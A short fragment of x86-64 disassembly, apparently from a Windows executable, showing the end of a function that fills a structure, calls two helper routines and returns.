mov qword [rsi + 8], rdx
movabs rcx, 0x8000000000000000
mov qword [rsi], rcx
test rax, rax
je 0x14000633f
lea rcx, [rbp - 0x40]
call fcn.1400063d0
mov rdx, qword [rbp - 0x18]
test edx, edx
mov rcx, qword [rbp - 0x20]
je 0x140006359
add rdx, rdx
mov r8d, 2
call fcn.140006200
mov rax, rsi
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret